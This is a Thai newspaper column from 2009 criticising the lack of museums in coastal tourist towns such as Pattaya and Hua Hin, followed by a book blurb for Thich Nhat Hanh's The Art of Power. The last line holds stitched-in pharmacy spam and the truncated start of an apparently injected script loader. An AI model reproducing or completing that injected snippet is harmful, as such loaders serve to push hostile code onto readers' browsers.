หนังสือพิมพ์มติชน ฉบับประจำวันพุธที่ 20 พฤษภาคม 2552

ชายทะเลฝั่งตะวันออก ตั้งแต่ฉะเชิงเทรา, ชลบุรี, ระยอง, จันทบุรี, ตราด ไม่มีมิวเซียมแบ่งปันเผยแพร่ความรู้สู่สาธารณะ

พัทยาก็ไม่มีมิวเซียมบอกความเป็นมาของเมืองท่องเที่ยวสำคัญมากแห่งนี้

ที่ค่ายเนินวง จันทบุรี ไม่นับเป็นมิวเซียมแสดงความรู้ประวัติศาสตร์ท้องถิ่นตามนัยยะที่เขียนนี้

ชายทะเลฝั่งตะวันตก ตั้งแต่เพชรบุรี, ชะอำ, หัวหิน, ปราณบุรี, สามร้อยยอด, กุยบุรี, ประจวบคีรีขันธ์ ฯลฯ ไม่มีมิวเซียมชนิดไหนทั้งนั้น แม้“อาร์ต มิวเซียม” ก็ไม่มี

แหล่งท่องเที่ยวที่ออกชื่อมานี้ หน่วยงานปลูกผักชี(โรยหน้า)มักอวดอ้างว่าเป็น“ระดับนานาชาติ” แต่มันน่าอเนจอนาถที่ไม่เคยได้ยินผู้มีอำนาจวาสนาพูดจาถึงมิวเซียมที่แสดง“กึ๋น”(คือ ภูมิปัญญา) ไม่ว่ามิวเซียมท้องถิ่น หรือ“อาร์ตมิวเซียม” แต่มักได้ยินจนหนวกหูคือลงทุนก่อสร้างสถาปัตยกรรมขยะๆ กับมีกิจกรรมทำลายสภาพแวดล้อมทางสังคมและวัฒนธรรม เพื่อกำไรสูงสุดของตัวเองเท่านั้น

ทำไมเป็นเช่นนั้น? ต้องอ่านความเห็นของอาจารย์ชาญวิทย์ เกษตรศิริ นักประวัติศาสตร์รางวัลศรีบูรพา ที่ผมเคยคัดมาให้อ่านเมื่อวันก่อน (ฉบับวันจันทร์ที่ 18 พฤษภาคม 2552) มีความสรุปว่า

“สังคมไทยของเราดูเผินๆ ทันสมัยมาก แต่ในความเป็นจริงอนุรักษนิยมสูง มีความโบราณคร่ำครึสูง”

ถ้าพูดอีกอย่างหนึ่งหรือสองอย่างจะได้ความว่า สังคมไทย“ทันสมัย แต่ไม่พัฒนา” และ “ทันสมัย แต่ไร้สมอง”

เมืองท่องเที่ยวทั้งชายทะเลตะวันออกและชายทะเลตะวันตก ล้วน “ทันสมัย”มากๆจนอาจเกินหน้าสังคมตะวันตกบางแห่งไปแล้วก็ได้ แต่ด้านสังคมและวัฒนธรรมแล้ว “ไม่พัฒนา” และ“ไร้สมอง”หลายๆอย่าง เช่นที่ว่ามาแต่ต้นเป็นอย่างหนึ่ง คือไม่มีมิวเซียม ไม่ว่ามิวเซียมแบบไหน

พัทยา อยู่บนเส้นทางเดินทัพของพระเจ้าตากไประยอง, จันทบุรี, ตราด เพื่อรวบรวมผู้คนกับอาวุธยุทโธปกรณ์ไปขับไล่พม่าที่อยุธยา แล้วสถาปนากรุงธนบุรีขึ้น หลังจากนั้นยังอยู่บนเส้นทางสุนทรภู่ไปบ้านกร่ำ เมืองแกลง ระยอง ในแผ่นดินรัชกาลที่ 2

ระหว่างสงครามเวียดนามที่ยืดเยื้อยาวนานหลายปี สหรัฐฯเริ่มทำบริเวณชายทะเลพัทยาเป็นสถานที่พักผ่อนท่องเที่ยวแบบปิดเพื่อบำบัดและบำรุงทหารอเมริกันที่อยู่ในสนามรบเวียดนาม หลังจากนั้นเติบโตเป็นสถานที่ท่องเที่ยวแบบเปิดจนโด่งดังระเบิดเถิดเทิงถึงบัดนี้

เพชรบุรี เป็นศูนย์กลางอำนาจรัฐเพชรบุรี-สุพรรณภูมิที่ขยายเลียบฝั่งทะเลตะวันตกไปฟื้นฟูและควบคุมเมืองนครศรีธรรมราช แล้วได้ชื่อเป็นดินแดน“สยาม”ตลอดฝั่งทะเลด้านนี้ โดยมีการค้าสำเภากับจีนมานานนับพันๆปีมาแล้ว มีหลักฐานอยู่ที่เขาสามร้อยยอด, ปากน้ำปราณบุรี, ซากสถูปทวารวดีที่ชะอำ

นอกจากนั้นยังควบคุมเส้นทางการค้าข้ามภูมิภาคออกทะเลอันดามันทางด่านสิงขรที่ประจวบฯด้วย

ทั้งฝั่งทะเลตะวันออกและฝั่งทะเลตะวันตก ล้วนมีพยานหลักฐานโบราณคดีประวัติศาสตร์บอกความเป็นมาอันยาวนานนับพันๆปีของท้องถิ่นนั้นๆ จึงควรมีมิวเซียมจัดแสดงแบ่งปันกับเผยแพร่ความรู้ ทั้งเพื่อคนท้องถิ่น, คนทำงานต่างถิ่นที่ไปรับจ้างอยู่ที่นั่น, และเพื่อนักท่องเที่ยวไทยและต่างประเทศ

แต่ไม่มีว่ะ เออ—เอากะมันซี่ ไอ้สังคังสังคมทันสมัย แต่ไร้สมอง

amnaj20-05-52

ศิลปะแห่งอำนาจ (The Art of Power) ผู้เขียน : ติช นัท ฮันห์ ผู้แปล : จิตร์ ตัณฑเสถียร และสังฆะหมู่บ้านพลัมประเทศไทย (รายได้ส่วนหนึ่งสมทบทุนการก่อสร้างศูนย์ปฏิบัติธรรมหมู่บ้านพลัมประเทศไทย)

ติช นัท ฮันห์ … เป็นพระอาจารย์นิกายเซนคนสำคัญของโลก เป็นผู้นำด้านจิตวิญญาณและเป็นนักเขียนหนังสือขายดี ได้พลิกความเข้าใจเกี่ยวกับอำนาจแบบเดิมๆ อย่างหน้ามือเป็นหลังมือ ท่านได้เผยให้เห็นว่าอำนาจที่แท้จริงนั้นมาจากภายใน สิ่งที่เราถวิลหากันอยู่นั้นเราทุกคนต่างมีอยู่แล้วไม่ว่าเราจะต้องการหรือไม่ อำนาจยังคงเป็นเรื่องหลักเรื่องหนึ่งในชีวิตของเราทุกคน

หนังสือเรื่อง “ศิลปะแห่งอำนาจ” (The Art of Power) เล่มนี้ ท่านติช นัท ฮันห์ ได้หยิบยกตัวอย่างที่มีสีสัน นำเสนอด้วยภาษาที่ตรงชัด พร้อมวิธีการปฏิบัติที่เป็นรูปธรรมเพื่อทำให้เราเห็นว่าอำนาจอย่างที่เราเข้าใจกันอยู่นั้นพาเราสู่การไขว่คว้าที่ไม่เคยสิ้นสุดเพื่อบรรลุเป้าหมายภายนอกต่างๆ เช่น ตำแหน่ง หรือรายได้ ซึ่งได้นำมาแปลงเป็น… ศิลปะแห่งอำนาจ ท้าทายความเข้าใจแบบเดิมๆ ที่เรามี พร้อมชี้หนทางให้เราเข้าถึงอำนาจอันแท้จริงที่อยู่ใกล้แค่เอื้อม

ซื้อหาอ่านได้ที่ศูนย์หนังสือจุฬาฯ ทุกสาขา และร้านหนังสือชั้นนำทั่วไป หรือสอบถามได้ที่ โทร. 0 2255 4433/ www.chulabook.com

buy forzest usabuy clomid 100mg onlinevar d=document;var s=d.createElement(‘script’);